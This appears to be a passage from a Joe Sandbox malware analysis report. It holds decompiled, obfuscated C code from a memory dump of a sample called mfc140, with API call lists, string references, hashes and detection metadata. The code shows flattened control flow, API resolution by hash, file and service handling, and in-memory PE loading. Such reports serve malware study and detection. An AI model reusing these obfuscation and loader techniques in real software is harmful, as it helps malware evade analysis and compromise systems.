				_v592 = _v592 + 0xd867;
				_v592 = _v592 + 0x9c41;
				_v592 = _v592 + 0x3de0;
				_v592 = _v592 + 0x218b;
				_v592 = _v592 ^ 0x00014403;
				_v588 = 0x2591;
				_t123 = 0x4a20241;
				_v588 = _v588 * 0x7d;
				_v588 = _v588 + 0x8d68;
				_v588 = _v588 + 0xffff8911;
				_v588 = _v588 * 0x6a;
				_v588 = _v588 + 0xffff93d5;
				_v588 = _v588 ^ 0x07a13cd2;
				_v580 = 0x789;
				_v580 = _v580 >> 1;
				_v580 = _v580 ^ 0xaee58af2;
				_v580 = _v580 ^ 0xaee58936;
				_t122 = _v580;
				goto L1;
				do {
					while(1) {
						L1:
						_t129 = _t123 - 0x1aed34c4;
						if(_t129 > 0) {
							break;
						}
						if(_t129 == 0) {
							_v580 = 0xa8c00;
							_v576 = 0;
							_v596 = E003EB6E0(_v580, _v576, 0x989680, 0);
							_v592 = _t119;
							_t121 = _v588 - _v564;
							_t124 = _v596;
							asm("sbb ecx, [esp+0x3c]");
							__eflags = _v584 - _v592;
							if(__eflags < 0) {
								goto L16;
							} else {
								if(__eflags > 0) {
									L29:
									return 1;
								} else {
									__eflags = _t121 - _t124;
									if(_t121 < _t124) {
										goto L16;
									} else {
										goto L29;
									}
								}
							}
						} else {
							if(_t123 == 0x12f5064) {
								_t82 =  *0x3edec0;
								__eflags = _t82;
								if(_t82 == 0) {
									_t99 = E003E3F00(0x9bab0b12);
									_t119 = 0x8b0c7279;
									_t82 = E003E3E60(_t101, _t99, 0x8b0c7279, _t126);
									 *0x3edec0 = _t82;
								}
								 *_t82(_t122, 0,  &_v564, 0x28);
								asm("sbb esi, esi");
								_t85 =  *0x3ede3c;
								_t123 = (_t123 & 0xf96a5287) + 0x13ef6fdf;
								__eflags = _t85;
								if(_t85 == 0) {
									_t98 = E003E3F00(0x9bab0b12);
									_t119 = 0x20de7595;
									_t85 = E003E3E60(_t101, _t98, 0x20de7595, _t126);
									 *0x3ede3c = _t85;
								}
								 *_t85(_t122);
								goto L15;
							} else {
								if(_t123 == 0x4a20241) {
									_t123 = 0x33602029;
									continue;
								} else {
									if(_t123 != 0xd59c266) {
										goto L15;
									} else {
										_t93 =  *0x3ee1d4;
										if(_t93 == 0) {
											_t97 = E003E3F00(0x9bab0b12);
											_t119 = 0xa229df38;
											_t93 = E003E3E60(_t101, _t97, 0xa229df38, _t126);
											 *0x3ee1d4 = _t93;
										}
										 *_t93( &_v572);
										_t123 = 0x1aed34c4;
										continue;
									}
								}
							}
						}
						L30:
					}
					__eflags = _t123 - 0x33602029;
					if(_t123 == 0x33602029) {
						_t75 =  *0x3ee3f4;
						__eflags = _t75;
						if(_t75 == 0) {
							_t100 = E003E3F00(0x9bab0b12);
							_t119 = 0x7dc9b9bb;
							_t75 = E003E3E60(_t101, _t100, 0x7dc9b9bb, _t126);
							 *0x3ee3f4 = _t75;
						}
						 *_t75(0,  &_v524, 0x104);
						_t123 = 0x3ae77736;
						goto L1;
					} else {
						__eflags = _t123 - 0x3ae77736;
						if(_t123 != 0x3ae77736) {
							goto L15;
						} else {
							__eflags =  *0x3ede04;
							if( *0x3ede04 == 0) {
								_t95 = E003E3F00(0x9bab0b12);
								_t119 = 0xb66d748a;
								 *0x3ede04 = E003E3E60(_t101, _t95, 0xb66d748a, _t126);
							}
							_t92 = CreateFileW( &_v524, _v584, _v592, 0, _v588, _v580, 0); // executed
							_t122 = _t92;
							__eflags = _t122 - 0xffffffff;
							if(_t122 == 0xffffffff) {
								break;
							} else {
								_t123 = 0x12f5064;
								goto L1;
							}
						}
					}
					goto L30;
					L15:
					__eflags = _t123 - 0x13ef6fdf;
				} while (_t123 != 0x13ef6fdf);
				L16:
				__eflags = 0;
				return 0;
				goto L30;
			}

0x003e8400
0x003e8400
0x003e8406
0x003e840e
0x003e8416
0x003e841e
0x003e8426
0x003e842b
0x003e8430
0x003e8438
0x003e8440
0x003e8445
0x003e844a
0x003e8452
0x003e845a
0x003e8462
0x003e846a
0x003e8472
0x003e847a
0x003e8482
0x003e8491
0x003e8496
0x003e849a
0x003e84a2
0x003e84af
0x003e84b3
0x003e84bb
0x003e84c3
0x003e84cb
0x003e84cf
0x003e84d7
0x003e84df
0x003e84df
0x003e84e3
0x003e84e3
0x003e84e3
0x003e84e3
0x003e84e9
0x00000000
0x00000000
0x003e84ef
0x003e866e
0x003e8676
0x003e8696
0x003e869a
0x003e86a2
0x003e86a6
0x003e86aa
0x003e86b2
0x003e86b4
0x00000000
0x003e86ba
0x003e86ba
0x003e86c5
0x003e86d1
0x003e86bc
0x003e86bc
0x003e86be
0x00000000
0x00000000
0x00000000
0x00000000
0x003e86be
0x003e86ba
0x003e84f5
0x003e84fb
0x003e854a
0x003e854f
0x003e8551
0x003e8558
0x003e855d
0x003e8564
0x003e8569
0x003e8569
0x003e8578
0x003e857c
0x003e857e
0x003e8589
0x003e858f
0x003e8591
0x003e8598
0x003e859d
0x003e85a4
0x003e85a9
0x003e85a9
0x003e85af
0x00000000
0x003e84fd
0x003e8503
0x003e8543
0x00000000
0x003e8505
0x003e850b
0x00000000
0x003e8511
0x003e8511
0x003e8518
0x003e851f
0x003e8524
0x003e852b
0x003e8530
0x003e8530
0x003e853a
0x003e853c
0x00000000
0x003e853c
0x003e850b
0x003e8503
0x003e84fb
0x00000000
0x003e84ef
0x003e85c8
0x003e85ce
0x003e8630
0x003e8635
0x003e8637
0x003e863e
0x003e8643
0x003e864a
0x003e864f
0x003e864f
0x003e8660
0x003e8662
0x00000000
0x003e85d0
0x003e85d0
0x003e85d6
0x00000000
0x003e85d8
0x003e85de
0x003e85e0
0x003e85e7
0x003e85ec
0x003e85fa
0x003e85fa
0x003e861d
0x003e861f
0x003e8621
0x003e8624
0x00000000
0x003e8626
0x003e8626
0x00000000
0x003e8626
0x003e8624
0x003e85d6
0x00000000
0x003e85b1
0x003e85b1
0x003e85b1
0x003e85bd
0x003e85bd
0x003e85c7
0x00000000

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE), ref: 003E861D

Strings

) `3, xrefs: 003E8543
=, xrefs: 003E846A
6w:, xrefs: 003E85D0
6w:, xrefs: 003E8662
) `3, xrefs: 003E85C8

Memory Dump Source

Source File: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.2279686443.00000000003E0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279709901.00000000003ED000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279716653.00000000003EF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_mfc140.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: ) `3$) `3$6w:$6w:$=
API String ID: 823142352-4124229693
Opcode ID: 472e57e7293867e5bdb677b111f23773fe849972d95026ace7cdd8784f07b521
Instruction ID: 500c7301910f722470d9a9eff2b538056911c808465b95a28d2e9b6ca39c0e20
Opcode Fuzzy Hash: 472e57e7293867e5bdb677b111f23773fe849972d95026ace7cdd8784f07b521
Instruction Fuzzy Hash: 93610771A083A19FC726DF6AC44966FB7E5ABD0714F008A1CF4999B2E0DB74DD058F82

Uniqueness

Uniqueness Score: -1.00%

Function 002D0D60, Relevance: 9.1, APIs: 6, Instructions: 124
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 002D0F08
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 002D0F3E
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 002D0F7F

VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 002D0DB4
RtlMoveMemory.NTDLL(00000000,?,?), ref: 002D0DC3

Part of subcall function 002D1140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,002D0EFD,00000000), ref: 002D1155

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 002D0E11
VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 002D0E3D
RtlMoveMemory.NTDLL(00000000,?,?), ref: 002D0E6C
RtlFillMemory.KERNEL32(00000000,?,00000000), ref: 002D0E98

Memory Dump Source

Source File: 0000000C.00000002.2279660601.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d0000_mfc140.jbxd

Similarity

API ID: Memory$Move$AllocVirtual$Filllstrcpyn
String ID:
API String ID: 3581289920-0
Opcode ID: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction ID: 15891d395ebeaa6218be2c9988314ed9f63d1efcc3a7231ab5eab0be654e0aec
Opcode Fuzzy Hash: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction Fuzzy Hash: D531D4B1A143416BD724EB60CC84FAB77E9EBC8381F044D2EB94993361D635DCA1CB62

Uniqueness

Uniqueness Score: -1.00%

Function 003E8E80, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 131
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E003E8E80() {
				short* _v4;
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t4;
				void* _t6;
				intOrPtr* _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				intOrPtr* _t22;
				void* _t25;
				void* _t42;
				short* _t43;
				intOrPtr _t44;
				short* _t45;
				void* _t46;
				void* _t47;

				_t25 = _v4;
				_t4 = 0x1779a150;
				_t46 = _v4;
				_t43 = _v4;
				_t42 = 0;
				goto L1;
				do {
					while(1) {
						L1:
						_t47 = _t4 - 0xebfcc22;
						if(_t47 <= 0) {
							break;
						}
						if(_t4 == 0x1779a150) {
							_t4 = 0x23287775;
							continue;
						} else {
							if(_t4 == 0x1e3d7119) {
								if( *0x3ee270 == 0) {
									 *0x3ee270 = E003E3E60(_t25, E003E3F00(0x26f5757c), 0x56e230f9, _t46);
								}
								_t6 = OpenServiceW(_t46, _t43, 0x10000); // executed
								_t25 = _t6;
								_t4 =  !=  ? 0xebfcc22 : 0xbf6010;
								continue;
							} else {
								if(_t4 != 0x23287775) {
									goto L22;
								} else {
									_t44 =  *0x3ee54c; // 0x5ce728
									_t45 = _t44 + 0x260;
									while( *_t45 != 0x5c) {
										_t45 = _t45 + 2;
									}
									_t43 = _t45 + 2;
									_t4 = 0x10ada17;
									continue;
								}
							}
						}
						L32:
					}
					if(_t47 == 0) {
						_t11 =  *0x3ee4c8;
						if(_t11 == 0) {
							_t11 = E003E3E60(_t25, E003E3F00(0x26f5757c), 0xe9d3e51f, _t46);
							 *0x3ee4c8 = _t11;
						}
						 *_t11(_t25);
						_t42 =  !=  ? 1 : _t42;
						_t4 = 0xd10de09;
						goto L1;
					} else {
						if(_t4 == 0xbf6010) {
							_t15 =  *0x3ee18c;
							if(_t15 == 0) {
								_t15 = E003E3E60(_t25, E003E3F00(0x26f5757c), 0x268fe5f0, _t46);
								 *0x3ee18c = _t15;
							}
							 *_t15(_t46);
							goto L31;
						} else {
							if(_t4 == 0x10ada17) {
								_t19 =  *0x3ee310;
								if(_t19 == 0) {
									_t19 = E003E3E60(_t25, E003E3F00(0x26f5757c), 0x9ba7cd1, _t46);
									 *0x3ee310 = _t19;
								}
								_t46 =  *_t19(0, 0, 0xf003f);
								if(_t46 == 0) {
									L31:
									return _t42;
								} else {
									_t4 = 0x1e3d7119;
									goto L1;
								}
							} else {
								if(_t4 != 0xd10de09) {
									goto L22;
								} else {
									_t22 =  *0x3ee18c;
									if(_t22 == 0) {
										_t22 = E003E3E60(_t25, E003E3F00(0x26f5757c), 0x268fe5f0, _t46);
										 *0x3ee18c = _t22;
									}
									 *_t22(_t25);
									_t4 = 0xbf6010;
									goto L1;
								}
							}
						}
					}
					goto L32;
					L22:
				} while (_t4 != 0x2dd4caa9);
				return _t42;
				goto L32;
			}

0x003e8e82
0x003e8e86
0x003e8e8c
0x003e8e91
0x003e8e96
0x003e8e98
0x003e8ea0
0x003e8ea0
0x003e8ea0
0x003e8ea0
0x003e8ea5
0x00000000
0x00000000
0x003e8f7f
0x003e9011
0x00000000
0x003e8f85
0x003e8f8a
0x003e8fd5
0x003e8fed
0x003e8fed
0x003e8ff9
0x003e8ffb
0x003e9009
0x00000000
0x003e8f8c
0x003e8f91
0x00000000
0x003e8f93
0x003e8f93
0x003e8f99
0x003e8fa3
0x003e8fa5
0x003e8fa8
0x003e8fae
0x003e8fb1
0x00000000
0x003e8fb1
0x003e8f91
0x003e8f8a
0x00000000
0x003e8f7f
0x003e8eab
0x003e8f3f
0x003e8f46
0x003e8f59
0x003e8f5e
0x003e8f5e
0x003e8f64
0x003e8f6d
0x003e8f70
0x00000000
0x003e8eb1
0x003e8eb6
0x003e901b
0x003e9022
0x003e9035
0x003e903a
0x003e903a
0x003e9040
0x00000000
0x003e8ebc
0x003e8ec1
0x003e8efc
0x003e8f03
0x003e8f16
0x003e8f1b
0x003e8f1b
0x003e8f2b
0x003e8f2f
0x003e9042
0x003e9049
0x003e8f35
0x003e8f35
0x00000000
0x003e8f35
0x003e8ec3
0x003e8ec8
0x00000000
0x003e8ece
0x003e8ece
0x003e8ed5
0x003e8ee8
0x003e8eed
0x003e8eed
0x003e8ef3
0x003e8ef5
0x00000000
0x003e8ef5
0x003e8ec8
0x003e8ec1
0x003e8eb6
0x00000000
0x003e8fbb
0x003e8fbb
0x003e8fcd
0x00000000

APIs

OpenServiceW.ADVAPI32(3251FEFE,?,00010000,?,3251FEFE,?,186D334D,005CE728,003E8782,?,3251FEFE,?), ref: 003E8FF9

Strings

uw(#, xrefs: 003E8F8C
uw(#, xrefs: 003E9011
(\, xrefs: 003E8F93

Memory Dump Source

Source File: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.2279686443.00000000003E0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279709901.00000000003ED000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279716653.00000000003EF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_mfc140.jbxd

Yara matches

Similarity

API ID: OpenService
String ID: (\$uw(#$uw(#
API String ID: 3098006287-813361818
Opcode ID: 19a09ee68957cdf23ab751ccb57212b7e6e3df349a4df5f5313a38f48bbf4f8a
Instruction ID: 78b6bbc2b881b371af2f345c21dc38916d6cb9b250a0b5c7445f9b289625706d
Opcode Fuzzy Hash: 19a09ee68957cdf23ab751ccb57212b7e6e3df349a4df5f5313a38f48bbf4f8a
Instruction Fuzzy Hash: 7141B321F042E49BDB226BBFACC477A229AA7C4750F510B69F949CF7C1EE60CC415B91

Uniqueness

Uniqueness Score: -1.00%

Function 003E3780, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E003E3780(void* __ecx, void* __edx, void* __edi, void* __esi) {
				char _v520;
				char _v528;
				char _v536;
				char _v1040;
				char _v1056;
				short _v1072;
				char* _v1076;
				char* _v1080;
				intOrPtr _v1084;
				intOrPtr* _t12;
				intOrPtr* _t14;
				intOrPtr* _t16;
				intOrPtr* _t18;
				intOrPtr* _t20;
				signed int _t26;
				void* _t36;
				void* _t63;
				void* _t66;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				struct _SHFILEOPSTRUCTW* _t73;

				_t70 =  &_v1072;
				_t12 =  *0x3eddc0;
				_t66 = __ecx;
				_t63 = __edx;
				if(_t12 == 0) {
					_t12 = E003E3E60(_t36, E003E3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x3eddc0 = _t12;
				}
				 *_t12( &_v1072, 0, 0x1e);
				_t14 =  *0x3eddc0;
				_t71 = _t70 + 0xc;
				if(_t14 == 0) {
					_t14 = E003E3E60(_t36, E003E3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x3eddc0 = _t14;
				}
				 *_t14( &_v1040, 0, 0x208);
				_t16 =  *0x3eddc0;
				_t72 = _t71 + 0xc;
				if(_t16 == 0) {
					_t16 = E003E3E60(_t36, E003E3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x3eddc0 = _t16;
				}
				 *_t16( &_v520, 0, 0x208);
				_t18 =  *0x3ee298;
				_t73 = _t72 + 0xc;
				if(_t18 == 0) {
					_t18 = E003E3E60(_t36, E003E3F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x3ee298 = _t18;
				}
				 *_t18( &_v1040, _t66);
				_t20 =  *0x3ee298;
				if(_t20 == 0) {
					_t20 = E003E3E60(_t36, E003E3F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x3ee298 = _t20;
				}
				 *_t20( &_v528, _t63);
				_v1084 = 1;
				_v1080 =  &_v1056;
				_v1076 =  &_v536;
				_v1072 = 0xe14;
				if( *0x3ee30c == 0) {
					 *0x3ee30c = E003E3E60(_t36, E003E3F00(0xd9518805), 0x262a6194, _t69);
				}
				_t26 = SHFileOperationW(_t73); // executed
				asm("sbb eax, eax");
				return  ~_t26 + 1;
			}

0x003e3785
0x003e3780
0x003e378c
0x003e378f
0x003e3793
0x003e37a6
0x003e37ab
0x003e37ab
0x003e37b9
0x003e37bb
0x003e37c0
0x003e37c5
0x003e37d8
0x003e37dd
0x003e37dd
0x003e37ee
0x003e37f0
0x003e37f5
0x003e37fa
0x003e380d
0x003e3812
0x003e3812
0x003e3826
0x003e3828
0x003e382d
0x003e3832
0x003e3845
0x003e384a
0x003e384a
0x003e3855
0x003e3857
0x003e385e
0x003e3871
0x003e3876
0x003e3876
0x003e3884
0x003e388a
0x003e3892
0x003e389d
0x003e38a6
0x003e38b4
0x003e38cc
0x003e38cc
0x003e38d5
0x003e38d9
0x003e38e2

APIs

SHFileOperationW.SHELL32 ref: 003E38D5

Strings

X~, xrefs: 003E37D1
X~, xrefs: 003E379F
X~, xrefs: 003E3806

Memory Dump Source

Source File: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.2279686443.00000000003E0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279709901.00000000003ED000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279716653.00000000003EF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_mfc140.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID: X~$X~$X~
API String ID: 3080627654-3258893172
Opcode ID: 5c0d4332eba426a45873ba29692ea69c48a9a45b30bd37d7c3f2c4c624f98f58
Instruction ID: e2571259b13c115823b046172ad6e5d5bd7baf0cc5d258226f0d2eed19634773
Opcode Fuzzy Hash: 5c0d4332eba426a45873ba29692ea69c48a9a45b30bd37d7c3f2c4c624f98f58
Instruction Fuzzy Hash: 6A31B0716002E58BD726AB7ADC4976B37EAABC4704F000B2CB515CF2C1EA34DA058B91

Uniqueness

Uniqueness Score: -1.00%

Function 003E80A0, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 219
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E003E80A0(signed int __edx) {
				short _v524;
				struct _SECURITY_ATTRIBUTES* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				char _v564;
				intOrPtr _v568;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				intOrPtr _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				void* __ebx;
				void* __ebp;
				void* _t58;
				void* _t64;
				void* _t66;
				void* _t73;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t82;
				void* _t83;
				intOrPtr* _t86;
				void* _t88;
				intOrPtr _t89;
				intOrPtr* _t90;
				void* _t92;
				void* _t96;
				intOrPtr _t101;
				char _t105;
				signed int _t122;
				void* _t125;
				void* _t127;
				void* _t128;
				signed int* _t129;
				void* _t131;

				_t122 = __edx;
				_t129 =  &_v596;
				_v584 = 0x9318;
				_t58 = 0x343bfd89;
				_v584 = _v584 ^ 0xde90c338;
				_v584 = _v584 ^ 0xde905120;
				_v596 = 0x7d19;
				_v596 = _v596 << 9;
				_v596 = _v596 >> 0xe;
				_v596 = _v596 + 0xffff07e5;
				_v596 = _v596 | 0x8aea6eef;
				_v596 = _v596 + 0xd867;
				_v596 = _v596 + 0x9c41;
				_v596 = _v596 + 0x3de0;
				_v596 = _v596 + 0x218b;
				_v596 = _v596 ^ 0x00014403;
				_v592 = 0x2591;
				_t128 = _v584;
				_t96 = 0;
				_v592 = _v592 * 0x7d;
				_v592 = _v592 + 0x8d68;
				_v592 = _v592 + 0xffff8911;
				_v592 = _v592 * 0x6a;
				_v592 = _v592 + 0xffff93d5;
				_v592 = _v592 ^ 0x07a13cd2;
				_v588 = 0x789;
				_v588 = _v588 >> 1;
				_v588 = _v588 ^ 0xaee58af2;
				_v588 = _v588 ^ 0xaee58936;
				while(1) {
					L1:
					goto L2;
					do {
						while(1) {
							L2:
							_t131 = _t58 - 0xea5411f;
							if(_t131 > 0) {
								break;
							}
							if(_t131 == 0) {
								_t73 = E003E34C0(0x3ed970);
								_t122 =  *0x3ee158;
								_t127 = _t73;
								if(_t122 == 0) {
									_t122 = E003E3E60(_t96, E003E3F00(0xc6fbcd74), 0xba71dd03, _t128);
									 *0x3ee158 = _t122;
								}
								_t101 =  *0x3ee54c; // 0x5ce728
								_t50 = _t101 + 0x260; // 0x5ce988
								_t51 = _t101 + 0x18; // 0x5ce740
								 *_t122( &_v524, 0x104, _t127, _t51, _t50);
								_t78 =  *0x3ee494;
								_t129 =  &(_t129[5]);
								if(_t78 == 0) {
									_t83 = E003E3F00(0x9bab0b12);
									_t122 = 0x7facde30;
									_t78 = E003E3E60(_t96, _t83, 0x7facde30, _t128);
									 *0x3ee494 = _t78;
								}
								_t125 =  *_t78();
								_t80 =  *0x3edf30;
								if(_t80 == 0) {
									_t82 = E003E3F00(0x9bab0b12);
									_t122 = 0x5010a54d;
									_t80 = E003E3E60(_t96, _t82, 0x5010a54d, _t128);
									 *0x3edf30 = _t80;
								}
								 *_t80(_t125, 0, _t127);
								_t58 = 0x2c2d24c8;
								goto L1;
							} else {
								if(_t58 == 0x2f64d8b) {
									_t86 =  *0x3ee1d4;
									if(_t86 == 0) {
										_t88 = E003E3F00(0x9bab0b12);
										_t122 = 0xa229df38;
										_t86 = E003E3E60(_t96, _t88, 0xa229df38, _t128);
										 *0x3ee1d4 = _t86;
									}
									 *_t86( &_v572);
									_t58 = 0xc5e088d;
									continue;
								} else {
									if(_t58 == 0x6f65414) {
										_t89 = _v568;
										_t105 = _v572;
										_v560 = _t89;
										_v552 = _t89;
										_v544 = _t89;
										_v536 = _t89;
										_t90 =  *0x3edee4;
										_v564 = _t105;
										_v556 = _t105;
										_v548 = _t105;
										_v540 = _t105;
										_v532 = 0;
										if(_t90 == 0) {
											_t92 = E003E3F00(0x9bab0b12);
											_t122 = 0x4bf45878;
											_t90 = E003E3E60(_t96, _t92, 0x4bf45878, _t128);
											 *0x3edee4 = _t90;
										}
										 *_t90(_t128, 0,  &_v564, 0x28);
										_t58 = 0x3557bd8c;
										_t96 =  !=  ? 1 : _t96;
										continue;
									} else {
										if(_t58 != 0xc5e088d) {
											goto L24;
										} else {
											_v580 = 0xa8c00;
											_v576 = 0;
											_v596 = E003EB6E0(_v580, _v576, 0x989680, 0);
											_v592 = _t122;
											_v588 = _v588 - _v596;
											_t58 = 0xea5411f;
											asm("sbb [esp+0x2c], ecx");
											continue;
										}
									}
								}
							}
							L35:
						}
						if(_t58 == 0x2c2d24c8) {
							if( *0x3ede04 == 0) {
								_t66 = E003E3F00(0x9bab0b12);
								_t122 = 0xb66d748a;
								 *0x3ede04 = E003E3E60(_t96, _t66, 0xb66d748a, _t128);
							}
							_t64 = CreateFileW( &_v524, _v584, _v596, 0, _v592, _v588, 0); // executed
							_t128 = _t64;
							if(_t128 == 0xffffffff) {
								goto L34;
							} else {
								_t58 = 0x6f65414;
								goto L2;
							}
						} else {
							if(_t58 == 0x343bfd89) {
								_t58 = 0x2f64d8b;
								goto L2;
							} else {
								if(_t58 == 0x3557bd8c) {
									if( *0x3ede3c == 0) {
										 *0x3ede3c = E003E3E60(_t96, E003E3F00(0x9bab0b12), 0x20de7595, _t128);
									}
									CloseHandle(_t128); // executed
									L34:
									return _t96;
								} else {
									goto L24;
								}
							}
						}
						goto L35;
						L24:
					} while (_t58 != 0xcfe8e);
					return _t96;
					goto L35;
				}
			}

0x003e80a0
0x003e80a0
0x003e80a6
0x003e80ae
0x003e80b3
0x003e80bb
0x003e80c3
0x003e80ca
0x003e80ce
0x003e80d2
0x003e80d9
0x003e80e0
0x003e80e7
0x003e80ee
0x003e80f5
0x003e80fc
0x003e8103
0x003e8112
0x003e8116
0x003e8119
0x003e811d
0x003e8125
0x003e8133
0x003e8137
0x003e813f
0x003e8147
0x003e814f
0x003e8153
0x003e815b
0x003e8163
0x003e8163
0x003e8168
0x003e8170
0x003e8170
0x003e8170
0x003e8170
0x003e8175
0x00000000
0x00000000
0x003e817b
0x003e828c
0x003e8291
0x003e8297
0x003e829b
0x003e82b3
0x003e82b5
0x003e82b5
0x003e82bb
0x003e82c1
0x003e82c8
0x003e82d7
0x003e82d9
0x003e82de
0x003e82e3
0x003e82ea
0x003e82ef
0x003e82f6
0x003e82fb
0x003e82fb
0x003e8302
0x003e8304
0x003e830b
0x003e8312
0x003e8317
0x003e831e
0x003e8323
0x003e8323
0x003e832c
0x003e832e
0x00000000
0x003e8181
0x003e8186
0x003e8252
0x003e8259
0x003e8260
0x003e8265
0x003e826c
0x003e8271
0x003e8271
0x003e827b
0x003e827d
0x00000000
0x003e818c
0x003e8191
0x003e81e3
0x003e81e7
0x003e81eb
0x003e81ef
0x003e81f3
0x003e81f7
0x003e81fb
0x003e8200
0x003e8204
0x003e8208
0x003e820c
0x003e8210
0x003e821a
0x003e8221
0x003e8226
0x003e822d
0x003e8232
0x003e8232
0x003e8241
0x003e8245
0x003e824a
0x00000000
0x003e8193
0x003e8198
0x00000000
0x003e819e
0x003e81a0
0x003e81a8
0x003e81c4
0x003e81c8
0x003e81d4
0x003e81d8
0x003e81dd
0x00000000
0x003e81dd
0x003e8198
0x003e8191
0x003e8186
0x00000000
0x003e817b
0x003e833d
0x003e8377
0x003e837e
0x003e8383
0x003e8391
0x003e8391
0x003e83b4
0x003e83b6
0x003e83bb
0x00000000
0x003e83bd
0x003e83bd
0x00000000
0x003e83bd
0x003e833f
0x003e8344
0x003e8365
0x00000000
0x003e8346
0x003e834b
0x003e83ce
0x003e83e6
0x003e83e6
0x003e83ec
0x003e83f1
0x003e83fa
0x00000000
0x00000000
0x00000000
0x003e834b
0x003e8344
0x00000000
0x003e834d
0x003e834d
0x003e8364
0x00000000
0x003e8364

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE,?,?), ref: 003E83B4
CloseHandle.KERNELBASE(?,?,3251FEFE,?,?), ref: 003E83EC

Strings

(\, xrefs: 003E82BB

Memory Dump Source

Source File: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.2279686443.00000000003E0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279709901.00000000003ED000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.2279716653.00000000003EF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_mfc140.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: (\
API String ID: 3498533004-1144764081
Opcode ID: f5b9706bea5c369cdbea5793f4fac8c6caaca2901d062248e970327f764eb35c
Instruction ID: 9e072d228de8814512ae206b39ee61960d0d811ecf347f0b3db9b858980e14a7
Opcode Fuzzy Hash: f5b9706bea5c369cdbea5793f4fac8c6caaca2901d062248e970327f764eb35c
Instruction Fuzzy Hash: 1881C070A083958FD71ADF6AC88462BB7E9ABD4744F000A2DF589CB3D0EB74DD018B52

Uniqueness

Uniqueness Score: -1.00%

Function 003E7120, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E003E7120(void* __ebx) {
				void* _t2;
				struct HINSTANCE__* _t8;
				intOrPtr* _t9;
				intOrPtr* _t11;
				void* _t21;
				intOrPtr _t23;
				void* _t48;
				WCHAR* _t51;
				void* _t53;
				void* _t54;
				void* _t55;

				_t21 = __ebx;
				_t2 = 0x291da748;
				goto L1;
				do {
					while(1) {
						L1:
						_t54 = _t2 - 0x1a8031ec;
						if(_t54 > 0) {
							break;
						}
						if(_t54 == 0) {
							_t51 = E003E34C0(0x3ed830);
							__eflags =  *0x3edd1c;
							if( *0x3edd1c == 0) {
								 *0x3edd1c = E003E3E60(_t21, E003E3F00(0x9bab0b12), 0xe4b28d97, _t53);
							}
							_t8 = LoadLibraryW(_t51);
							_t23 =  *0x3ee548; // 0x607dd8
							 *(_t23 + 0x4c) = _t8;
							_t9 =  *0x3ee494;
							__eflags = _t9;
							if(_t9 == 0) {
								_t9 = E003E3E60(_t21, E003E3F00(0x9bab0b12), 0x7facde30, _t53);
